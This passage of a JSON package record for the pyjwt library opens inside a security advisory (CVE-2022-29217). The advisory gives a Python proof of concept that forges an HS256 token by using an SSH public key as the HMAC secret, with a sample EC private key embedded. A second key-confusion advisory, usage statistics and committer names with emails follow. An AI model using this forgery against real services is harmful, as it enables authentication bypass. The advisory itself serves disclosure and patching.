load_ssh_public_key(key)\n#\n# These should most likely made to match each other to prevent this behavior\n```\n\n\n```python\nimport jwt\n\n#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem\n#openssl ec -in ec256-key-priv.pem -pubout \u003e ec256-key-pub.pem\n#ssh-keygen -y -f ec256-key-priv.pem \u003e ec256-key-ssh.pub\n\npriv_key_bytes = b\"\"\"-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49\nAwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk\nAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END EC PRIVATE KEY-----\"\"\"\n\npub_key_bytes = b\"\"\"-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL\nZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END PUBLIC KEY-----\"\"\"\n\nssh_key_bytes = b\"\"\"ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=\"\"\"\n\n# Making a good jwt token that should work by signing it with the private key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"ES256\")\n\n# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, ssh_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n    print(\"POC Successfull\")\nelse:\n    print(\"POC Failed\")\n```\n\n\u003e The issue is not that big as \n\u003e algorithms=jwt.algorithms.get_default_algorithms() has to be used. \n\u003e However, with quick googling, this seems to be used in some cases at \n\u003e least in some minor projects.\n\n### Patches\n\nUsers should upgrade to v2.4.0.\n\n### Workarounds\n\nAlways be explicit with the algorithms that are accepted and expected when decoding.\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/jpadilla/pyjwt\n* Email José Padilla: pyjwt at jpadilla dot com\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-24T22:17:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24","https://nvd.nist.gov/vuln/detail/CVE-2022-29217","https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc","https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2022-202.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO","https://github.com/advisories/GHSA-ffqj-6fqr-9h24"],"source_kind":"github","identifiers":["GHSA-ffqj-6fqr-9h24","CVE-2022-29217"],"repository_url":"https://github.com/jpadilla/pyjwt","blast_radius":0.0,"created_at":"2022-12-21T16:12:23.497Z","updated_at":"2026-06-18T05:10:04.543Z","epss_percentage":0.00422,"epss_percentile":0.62503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZnFqLTZmcXItOWgyNM4AArBb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZnFqLTZmcXItOWgyNM4AArBb","packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.4.0","vulnerable_version_range":"\u003e= 1.5.0, \u003c 2.4.0"}],"purl":"pkg:pypi/pyjwt","statistics":{"dependent_packages_count":1012,"dependent_repos_count":34706,"downloads":575869260,"downloads_period":"last-month"},"affected_versions":["1.5.0","1.5.1","1.5.2","1.5.3","1.6.0","1.6.1","1.6.3","1.6.4","1.7.0","1.7.1","2.0.0","2.0.0a1","2.0.0a2","2.0.1","2.1.0","2.2.0","2.3.0"],"unaffected_versions":["0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.2.3","0.3.0","0.3.1","0.3.2","0.4.0","0.4.1","0.4.2","0.4.3","1.0.0","1.0.1","1.1.0","1.3.0","1.4.0","1.4.1","1.4.2","2.4.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0","2.10.0","2.10.1","2.11.0","2.12.0","2.12.1","2.13.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZnFqLTZmcXItOWgyNM4AArBb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yOWp3LW13aHEtd3A2Ms4AAR9d","url":"https://github.com/advisories/GHSA-r9jw-mwhq-wp62","title":"PyJWT vulnerable to key confusion attacks","description":"In PyJWT 1.5.0 and below the `invalid_strings` check in `HMACAlgorithm.prepare_key` does not account for all PEM encoded public keys. Specifically, the PKCS1 PEM encoded format would be allowed because it is prefaced with the string `-----BEGIN RSA PUBLIC KEY-----` which is not accounted for. This enables symmetric/asymmetric key confusion attacks against users using the PKCS1 PEM encoded public keys, which would allow an attacker to craft JWTs from scratch.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-13T01:42:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2017-11424","https://github.com/jpadilla/pyjwt/pull/277","http://www.debian.org/security/2017/dsa-3979","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2017-24.yaml","https://github.com/advisories/GHSA-r9jw-mwhq-wp62"],"source_kind":"github","identifiers":["GHSA-r9jw-mwhq-wp62","CVE-2017-11424"],"repository_url":"https://github.com/jpadilla/pyjwt","blast_radius":0.0,"created_at":"2022-12-21T16:11:59.671Z","updated_at":"2026-06-04T03:09:25.330Z","epss_percentage":0.00193,"epss_percentile":0.41021,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOWp3LW13aHEtd3A2Ms4AAR9d","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yOWp3LW13aHEtd3A2Ms4AAR9d","packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"1.5.1","vulnerable_version_range":"\u003c 1.5.1"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOWp3LW13aHEtd3A2Ms4AAR9d/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pyjwt","docker_dependents_count":1544,"docker_downloads_count":734216805,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":true,"issue_metadata":{"last_synced_at":"2026-06-13T05:04:42.682Z","issues_count":160,"pull_requests_count":294,"avg_time_to_close_issue":11396775.601769911,"avg_time_to_close_pull_request":2270351.6938775512,"issues_closed_count":113,"pull_requests_closed_count":244,"pull_request_authors_count":84,"issue_authors_count":156,"avg_comments_per_issue":3.84375,"avg_comments_per_pull_request":0.8163265306122449,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":102,"past_year_issues_count":24,"past_year_pull_requests_count":76,"past_year_avg_time_to_close_issue":8283509.2,"past_year_avg_time_to_close_pull_request":1565837.75,"past_year_issues_closed_count":10,"past_year_pull_requests_closed_count":40,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":23,"past_year_avg_comments_per_issue":2.6666666666666665,"past_year_avg_comments_per_pull_request":0.3684210526315789,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":32,"past_year_merged_pull_requests_count":36,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/codemeta","maintainers":[{"uuid":"jpadilla","login":"jpadilla","name":null,"email":null,"url":null,"packages_count":15,"html_url":"https://pypi.org/user/jpadilla/","role":null,"created_at":"2023-02-04T17:39:50.521Z","updated_at":"2023-02-04T17:39:50.521Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/jpadilla/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":887920,"maintainers_count":380233,"namespaces_count":0,"keywords_count":289179,"github":"pypi","metadata":{"funded_packages_count":54301},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-06-10T05:13:28.296Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}}],"commits":{"id":5547,"full_name":"jpadilla/pyjwt","default_branch":"master","total_commits":830,"total_committers":165,"total_bot_commits":100,"total_bot_committers":2,"mean_commits":5.03030303030303,"dds":0.7626506024096386,"past_year_total_commits":65,"past_year_total_committers":15,"past_year_total_bot_commits":27,"past_year_total_bot_committers":2,"past_year_mean_commits":4.333333333333333,"past_year_dds":0.6923076923076923,"last_synced_at":"2026-03-09T11:03:48.938Z","last_synced_commit":"1451d70eca2059bc472703692f0bb0777bc0fe93","created_at":"2023-03-07T09:23:28.984Z","updated_at":"2026-03-09T11:02:19.431Z","committers":[{"name":"José Padilla","email":"jpadilla@webapplicate.com","login":"jpadilla","count":197},{"name":"Mark Adams","email":"mark@markadams.me","login":"mark-adams","count":128},{"name":"pre-commit-ci[bot]","email":"66853113+pre-commit-ci[bot]","login":"pre-commit-ci[bot]","count":82},{"name":"Jon Dufresne","email":"jon.dufresne@gmail.com","login":"jdufresne","count":55},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":18},{"name":"Wouter Bolsterlee","email":"wouter@intelworks.com","login":"wbolster-eiq","count":18},{"name":"Jeff Lindsay","email":"progrium@gmail.com","login":"progrium","count":16},{"name":"Kurt McKee","email":"contactme@kurtmckee.org","login":"kurtmckee","count":14},{"name":"Ajitomi, Daisuke","email":"ajitomi@gmail.com","login":"dajiaji","count":12},{"name":"Landon GB","email":"landogbland@gmail.com","login":"vimalloc","count":12},{"name":"Pieter Ennes","email":"pieter@ennes.nl","login":"skion","count":10},{"name":"FELD Boris","email":"lothiraldan@gmail.com","login":"Lothiraldan","count":9},{"name":"Matthew Sullivan","email":"sullivan.matt@gmail.com","login":"sullivanmatt","count":8},{"name":"José Pacheco","email":"pachewise@gmail.com","login":"pachewise","count":7},{"name":"Michael Davis","email":"mike.davis@webfilings.com","login":null,"count":7},{"name":"Aarni Koskela","email":"akx@iki.fi","login":"akx","count":6},{"name":"Asif Saif Uddin","email":"auvipy@gmail.com","login":"auvipy","count":5},{"name":"Stephen Rosen","email":"sirosen@globus.org","login":"sirosen","count":5},{"name":"Viicos","email":"65306057+Viicos","login":"Viicos","count":5},{"name":"Åsmund Ødegård","email":"mandus@gmail.com","login":"mandus","count":5},{"name":"Michael","email":"michael-k","login":"michael-k","count":4},{"name":"esneider","email":"dariosn@gmail.com","login":"esneider","count":4},{"name":"Theron Luhn","email":"theron@luhn.com","login":"luhn","count":4},{"name":"Tamir Duberstein","email":"tamird@gmail.com","login":"tamird","count":4},{"name":"Michael Collis","email":"michael.l.collis@gmail.com","login":"mike9005","count":4},{"name":"Gabi Davar","email":"grizzly.nyo@gmail.com","login":"mindw","count":4},{"name":"Alexandru Mihai","email":"92.alexandru.mihai@gmail.com","login":"alexm92","count":4},{"name":"Chun-Sheng, Li","email":"peter279k@gmail.com","login":"peter279k","count":3},{"name":"David Davis","email":"daviddavis","login":"daviddavis","count":3},{"name":"William Woodruff","email":"william@yossarian.net","login":"woodruffw","count":3},{"name":"Hugo van Kemenade","email":"hugovk","login":"hugovk","count":3},{"name":"purificant","email":"purificant","login":"purificant","count":3},{"name":"wil paredes","email":"code@dystedium.com","login":"chillipino","count":3},{"name":"Ralph Bean","email":"rbean@redhat.com","login":"ralphbean","count":3},{"name":"Mauricio Aizaga","email":"mauricioaizaga@gmail.com","login":"maoaiz","count":3},{"name":"Julian Maurin","email":"julian.maurin.perso@pm.me","login":"JulianMaurin","count":3},{"name":"Jinyong Lee","email":"gullpong9@gmail.com","login":"gullpong","count":3},{"name":"Christian Ledermann","email":"christian.ledermann@gmail.com","login":"cleder","count":3},{"name":"Jason R. Coombs","email":"jaraco@jaraco.com","login":"jaraco","count":2},{"name":"Wouter Bolsterlee","email":"uws@xs4all.nl","login":"wbolster","count":2},{"name":"Adam Chainz","email":"adam@adamj.eu","login":null,"count":2},{"name":"Tim Gates","email":"tim.gates@iress.com","login":"timgates42","count":2},{"name":"Steven Pitts","email":"25968054+makusu2","login":"makusu2","count":2},{"name":"Ran Benita","email":"ran234@gmail.com","login":"bluetech","count":2},{"name":"Patryk Zawadzki","email":"patrys@room-303.com","login":"patrys","count":2},{"name":"Michał Górny","email":"mgorny@gentoo.org","login":"mgorny","count":2},{"name":"Mariano Ruiz","email":"mrsarm@gmail.com","login":"mrsarm","count":2},{"name":"Kevin Kirsche","email":"Kev.Kirsche+GitHub@gmail.com","login":"kkirsche","count":2},{"name":"Johannes Jarbratt","email":"47516968+johachi","login":"johachi","count":2},{"name":"Jacopo Farina","email":"jacopofar","login":"jacopofar","count":2},{"name":"Andy Zhang","email":"andy@livefyre.com","login":null,"count":2},{"name":"Gunnlaugur Thor Briem","email":"gunnlaugur@gmail.com","login":"gthb","count":2},{"name":"Derek Weitzel","email":"djw8605@gmail.com","login":"djw8605","count":2},{"name":"David Binetti","email":"dbinetti@gmail.com","login":"dbinetti","count":2},{"name":"Daniel Hahler","email":"github@thequod.de","login":"blueyed","count":2},{"name":"Chris LaRose","email":"cjlarose@gmail.com","login":"cjlarose","count":2},{"name":"Ben","email":"benvdh","login":"benvdh","count":2},{"name":"Bastien Vallet","email":"bastien.vallet@gmail.com","login":"Djailla","count":2},{"name":"Gabriel Gironda","email":"gabriel@thegroundwork.com","login":null,"count":2},{"name":"Justin Karneges","email":"justin@affinix.com","login":null,"count":2},{"name":"Kevin Kirsche","email":"kevin.kirsche@one.verizon.com","login":null,"count":2},{"name":"Alejandro J. C De Baca","email":"acdebaca","login":"acdebaca","count":1},{"name":"Abram (^o^)","email":"israelvictory87@gmail.com","login":"aybruhm","count":1},{"name":"Tsuyoshi Hombashi","email":"tsuyoshi.hombashi@gmail.com","login":"thombashi","count":1},{"name":"Erik Vroon","email":"erik.vroon22@gmail.com","login":"evroon","count":1},{"name":"Erich Seifert","email":"dev@erichseifert.de","login":"eseifert","count":1},{"name":"Diva Dugar","email":"divadugar@gmail.com","login":"Divan009","count":1},{"name":"Dima Tisnek","email":"dimaqq@gmail.com","login":"dimaqq","count":1},{"name":"Debayan De","email":"debayande","login":"debayande","count":1},{"name":"Dave Hall","email":"dave.hall@wayflyer.com","login":"way-dave","count":1},{"name":"Daniel Miles","email":"daniel.t.miles@gmail.com","login":"danieltmiles","count":1},{"name":"Dan Mahr","email":"danmahr23@gmail.com","login":"dmahr1","count":1},{"name":"Alex Kavanagh","email":"alex@ajkavanagh.co.uk","login":"ajkavanagh","count":1},{"name":"Anders Kaseorg","email":"andersk@mit.edu","login":"andersk","count":1},{"name":"Atte Lautanala","email":"atte.lautanala@gmail.com","login":"lautat","count":1},{"name":"Brandon Chinn","email":"brandon@leapyear.io","login":"brandon-leapyear","count":1},{"name":"Brian Salcedo","email":"salcedo","login":"salcedo","count":1},{"name":"Carl George","email":"carl@george.computer","login":"carlwgeorge","count":1},{"name":"Casey","email":"casey.duquette@snapchat.com","login":"caseyduquettesc","count":1},{"name":"Evan Heidtmann","email":"evan.heidtmann@gmail.com","login":"ezheidtmann","count":1},{"name":"Niels Draaisma","email":"niels.draaisma@producthealth.com","login":null,"count":1},{"name":"Neuman Vong","email":"neuman@twilio.com","login":null,"count":1},{"name":"Tobias Løfgren","email":"tobloef@gmail.com","login":"tobloef","count":1},{"name":"Tobias Bieniek","email":"Tobias.Bieniek@gmx.de","login":"Turbo87","count":1},{"name":"Tim Waterson","email":"51910265+timw6n","login":"timw6n","count":1},{"name":"Thomas P","email":"TPXP","login":"TPXP","count":1},{"name":"Thomas Grenfell Smith","email":"thomathom@gmail.com","login":"tgs","count":1},{"name":"Thitat Auareesuksakul","email":"thitat@flux.ci","login":"fluxth","count":1},{"name":"Stephen Paulger","email":"stephenpaulger","login":"stephenpaulger","count":1},{"name":"Stephen Liu","email":"stephen.liu@alumni.stanford.edu","login":"c0state","count":1},{"name":"StefanBruens","email":"stefan.bruens@rwth-aachen.de","login":"StefanBruens","count":1},{"name":"Sriharan Manogaran","email":"sriharan72@gmail.com","login":"sriharan16","count":1},{"name":"Someguy123","email":"Someguy123","login":"Someguy123","count":1},{"name":"Sam Wing","email":"sampwing@gmail.com","login":"sampwing","count":1},{"name":"Sam Bellen","email":"sambellen@gmail.com","login":"Sambego","count":1},{"name":"Rémy HUBSCHER","email":"hubscher.remy@gmail.com","login":"Natim","count":1},{"name":"Ryan Bavetta","email":"bavetta@gmail.com","login":"bavetta","count":1},{"name":"Russell Cardullo","email":"russellcardullo@gmail.com","login":"russellcardullo","count":1},{"name":"Richard Connon","email":"richard@connon.me.uk","login":"riconnon","count":1},{"name":"René Springer","email":"r-springer","login":"r-springer","count":1},{"name":"RbnRncn","email":"rubenrincon5@yahoo.es","login":"RbnRncn","count":1},{"name":"Ray Luo","email":"rayluo.mba@gmail.com","login":"rayluo","count":1},{"name":"vanzi","email":"me@vanzi.info","login":"vanzi","count":1},{"name":"Collin MacDonald","email":"macd.collin@gmail.com","login":"CollinEMac","count":1},{"name":"tornato7","email":"tornato7@gmail.com","login":"corlinp","count":1},{"name":"sseering","email":"git-public@stefan.seeri.ng","login":"sseering","count":1},{"name":"shuhaib s","email":"95394061+shuhaib-aot","login":"shuhaib-aot","count":1},{"name":"qqii","email":"QiruiChen97@gmail.com","login":"qqii","count":1},{"name":"moomoolive","email":"63522515+moomoolive","login":"moomoolive","count":1},{"name":"leftovervirus","email":"30937486+leftovervirus","login":"leftovervirus","count":1},{"name":"kreutz-hs","email":"43569762+kreutz-hs","login":"kreutz-hs","count":1},{"name":"kepkin","email":"kepkin@gmail.com","login":"kepkin","count":1},{"name":"kenkoooo","email":"kenkou.n@gmail.com","login":"kenkoooo","count":1},{"name":"kadabusha","email":"47604788+kadabusha","login":"kadabusha","count":1},{"name":"juur","email":"juur","login":"juur","count":1},{"name":"justinbaur","email":"justinbaur","login":"justinbaur","count":1},{"name":"guneybilen","email":"guneybilen@yahoo.com","login":"guneybilen","count":1},{"name":"fobiasmog","email":"zbrejkin@yandex.ru","login":"fobiasmog","count":1},{"name":"dmr","email":"dradetsky@gmail.com","login":"dradetsky","count":1},{"name":"defyrlt","email":"defyrlt@gmail.com","login":"defyrlt","count":1},{"name":"Yasser Tahiri","email":"yasserth19@gmail.com","login":"yezz123","count":1},{"name":"William Edmisten","email":"91079455+wcedmisten-reify","login":"wcedmisten-reify","count":1},{"name":"Varun Chawla","email":"34209028+veeceey","login":"veeceey","count":1},{"name":"Kelvin Tay","email":"kelvintaywl@gmail.com","login":"kelvintaywl","count":1},{"name":"Kaushal Rohit","email":"rohit.kg98@gmail.com","login":"rohitkg98","count":1},{"name":"KDH","email":"ehdgua01@naver.com","login":"ehdgua01","count":1},{"name":"Julien Palard","email":"julien@palard.fr","login":"JulienPalard","count":1},{"name":"JohannesWill","email":"johannes.will@siemens.com","login":"JohannesWill","count":1},{"name":"Jaroslaw Zabiello","email":"hipertracker@gmail.com","login":"hipertracker","count":1},{"name":"James Ward","email":"james@notjam.es","login":"imnotjames","count":1},{"name":"J. Nick Koston","email":"nick@koston.org","login":"bdraco","count":1},{"name":"Haoyu(Jerry) Wu","email":"wuhaoyujerry","login":"wuhaoyujerry","count":1},{"name":"Gleb Billig","email":"gleb.billig@gmail.com","login":"gbillig","count":1},{"name":"German Larrain","email":"glarrain","login":"glarrain","count":1},{"name":"Geoff Richards","email":"geoff@geoffrichards.co.uk","login":"GeoffRichards","count":1},{"name":"Gautam Hegde","email":"85569489+Gautam-Hegde","login":"Gautam-Hegde","count":1},{"name":"Gagan Deep","email":"gagandeeppratihar@outlook.com","login":"gagandeepp","count":1},{"name":"François Dailloux","email":"daillouf","login":"daillouf","count":1},{"name":"Florent Viard","email":"fviard@gmail.com","login":"fviard","count":1},{"name":"Federico Caselli","email":"CaselIT","login":"CaselIT","count":1},{"name":"Evgeniy Tatarkin","email":"tatarkin.evg@gmail.com","login":"estin","count":1},{"name":"Pau Ruiz Safont","email":"psafont","login":"psafont","count":1},{"name":"Correy Lim","email":"correylim@gmail.com","login":"CorreyL","count":1},{"name":"Froilan Irizarry","email":"froilan@froilanirizarry.me","login":null,"count":1},{"name":"Przemysław Suliga","email":"mail@suligap.net","login":"suligap","count":1},{"name":"Kim Gustyr","email":"khvn26@gmail.com","login":"khvn26","count":1},{"name":"PatrikBillgren","email":"PatrikBillgren","login":"PatrikBillgren","count":1},{"name":"Paddy Xu","email":"xupaddy@gmail.com","login":"xupefei","count":1},{"name":"Nutchanon Ninyawee","email":"nutchanon@codustry.com","login":"wasdee","count":1},{"name":"Nikita Gashkov","email":"small.lion8513@fastmail.com","login":"nikitagashkov","count":1},{"name":"Michal Čihař","email":"michal@cihar.com","login":"nijel","count":1},{"name":"Michael Haines","email":"michael.c.haines@gmail.com","login":"thundercat1","count":1},{"name":"Maxim","email":"me@alzhanov.ru","login":"irdkwmnsb","count":1},{"name":"Matti John","email":"matti.john@gmail.com","login":"mattijohn","count":1},{"name":"Matthias Gilch","email":"matthias.gilch.mg@gmail.com","login":"DaGuich","count":1},{"name":"Matthew","email":"5273302+Matthew1471","login":"Matthew1471","count":1},{"name":"Matt Pollak","email":"mpollak@gmail.com","login":"mattpollak","count":1},{"name":"Markus Holtermann","email":"info@markusholtermann.eu","login":"MarkusH","count":1},{"name":"Marius Gedminas","email":"marius@gedmin.as","login":"mgedmin","count":1},{"name":"Marek Siarkowicz","email":"serathius","login":"serathius","count":1},{"name":"Leon Smith","email":"email@leonmarksmith.com","login":"leonsmith","count":1},{"name":"Kyungmin Lee","email":"rekyungmin@gmail.com","login":"rekyungmin","count":1},{"name":"Kuldeep Khatke","email":"43014183+kuldeepkhatke","login":"kuldeepkhatke","count":1},{"name":"Klavionik","email":"56698047+Klavionik","login":"Klavionik","count":1},{"name":"Aaron Campbell","email":"aaron@monkey.org","login":"aarcamp","count":1}],"past_year_committers":[{"name":"pre-commit-ci[bot]","email":"66853113+pre-commit-ci[bot]","login":"pre-commit-ci[bot]","count":20},{"name":"Kurt McKee","email":"contactme@kurtmckee.org","login":"kurtmckee","count":13},{"name":"José Padilla","email":"jpadilla","login":"jpadilla","count":11},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":7},{"name":"Tamir Duberstein","email":"tamird@gmail.com","login":"tamird","count":4},{"name":"qqii","email":"QiruiChen97@gmail.com","login":"qqii","count":1},{"name":"fobiasmog","email":"zbrejkin@yandex.ru","login":"fobiasmog","count":1},{"name":"Varun Chawla","email":"34209028+veeceey","login":"veeceey","count":1},{"name":"Nikita Gashkov","email":"small.lion8513@fastmail.com","login":"nikitagashkov","count":1},{"name":"Matthew","email":"5273302+Matthew1471","login":"Matthew1471","count":1},{"name":"Kuldeep Khatke","email":"43014183+kuldeepkhatke","login":"kuldeepkhatke","count":1},{"name":"Kim Gustyr","email":"khvn26@gmail.com","login":"khvn26","count":1},{"name":"Christian Ledermann","email":"christian.ledermann@gmail.com","login":"cleder","count":1},{"name":"Asif Saif Uddin","email":"auvipy@gmail.com","login":"auvipy","count":1},{"name":"Aarni Koskela","email":"akx@iki.fi","login":"akx","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-03-11T00:00:08.884Z","repositories_count":6202340,"commits_count":933651607,"contributors_count":36182179,"owners_count":1149911,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"jpadilla/pyjwt","html_url":"https://github.com/jpadilla/pyjwt","last_synced_at":"2026-03-11T12:01:25.730Z","status":"active","issues_count":156,"pull_requests_count":283,"avg_time_to_close_issue":11388859.692982456,"avg_time_to_close_pull_request":2348240.661157025,"issues_closed_count":114,"pull_requests_closed_count":241,"pull_request_authors_count":80,"issue_authors_count":153,"avg_comments_per_issue":3.91025641025641,"avg_comments_per_pull_request":0.8445229681978799,"merged_pull_requests_count":195,"bot_issues_count":2,"bot_pull_requests_count":97,"past_year_issues_count":26,"past_year_pull_requests_count":94,"past_year_avg_time_to_close_issue":8242378.833333333,"past_year_avg_time_to_close_pull_request":1606629.2741935484,"past_year_issues_closed_count":12,"past_year_pull_requests_closed_count":62,"past_year_pull_request_authors_count":27,"past_year_issue_authors_count":26,"past_year_avg_comments_per_issue":2.923076923076923,"past_year_avg_comments_per_pull_request":0.30851063829787234,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":43,"past_year_merged_pull_requests_count":55,"created_at":"2023-05-10T11:04:27.099Z","updated_at":"2026-03-11T12:01:25.730Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","issue_labels_count":{"table":{"stale":59,"keep":15,"question":4,"docs":3,"help wanted":3,"good first issue":2,"bug":2,"hacktoberfest":2,"wont-fix":1,"enhancement":1,"dependencies":1}},"pull_request_labels_count":{"table":{"dependencies":21,"stale":20,"hacktoberfest":14,"github_actions":10,"keep":9,"Skip-Changelog":2,"enhancement":1}},"issue_author_associations_count":{"table":{"NONE":142,"CONTRIBUTOR":14}},"pull_request_author_associations_count":{"table":{"CONTRIBUTOR":198,"NONE":74,"COLLABORATOR":6,"OWNER":5}},"issue_authors":{"table":{"webknjaz":2,"DavidBuchanan314":2,"woodruffw":2,"gobengo":1,"lesinigo":1,"kamikaze":1,"beje2k15":1,"joshgc":1,"magbanum":1,"dependabot[bot]":1,"odddozen":1,"fenchu":1,"apastel":1,"itsMGA":1,"pythonweb2":1,"matthewcummings":1,"rbuffat":1,"JugeshHM":1,"puc9":1,"ddtxra":1,"kpark-hrp":1,"Viicos":1,"kartheek148":1,"stevegerrits":1,"mrussek":1,"yogevyuval":1,"pakal":1,"cemysf":1,"sgeef":1,"AlexandreTunstall":1,"arberx":1,"denisshvayko":1,"lsmith77":1,"fluxth":1,"qrkourier":1,"llaichiyu":1,"fluggo":1,"berryscone":1,"WizzardMaker":1,"amin-farjadi":1,"jmarshall9120":1,"lahirumaramba":1,"brunolnetto":1,"AstraLuma":1,"ajoyatklizos":1,"duggalmayank":1,"alexburuiana":1,"JosiahDub":1,"jaferrando":1,"timw6n":1,"LorenzoCelli":1,"OneTesseractInMultiverse":1,"petasis":1,"EnriGaci":1,"luigibertaco":1,"pre-commit-ci[bot]":1,"thundercat1":1,"wuqiang-001":1,"BSVogler":1,"rabbit-aaron":1,"TheRook":1,"bradydean":1,"adamJLev":1,"ievgennaida":1,"LukasKlement":1,"tholenst":1,"linusrachlis":1,"felixhammerl":1,"moonman239":1,"vhdmoradi":1,"vimalloc":1,"nishanth77":1,"mehmetg":1,"tekpriest":1,"cesarqdt":1,"noraj":1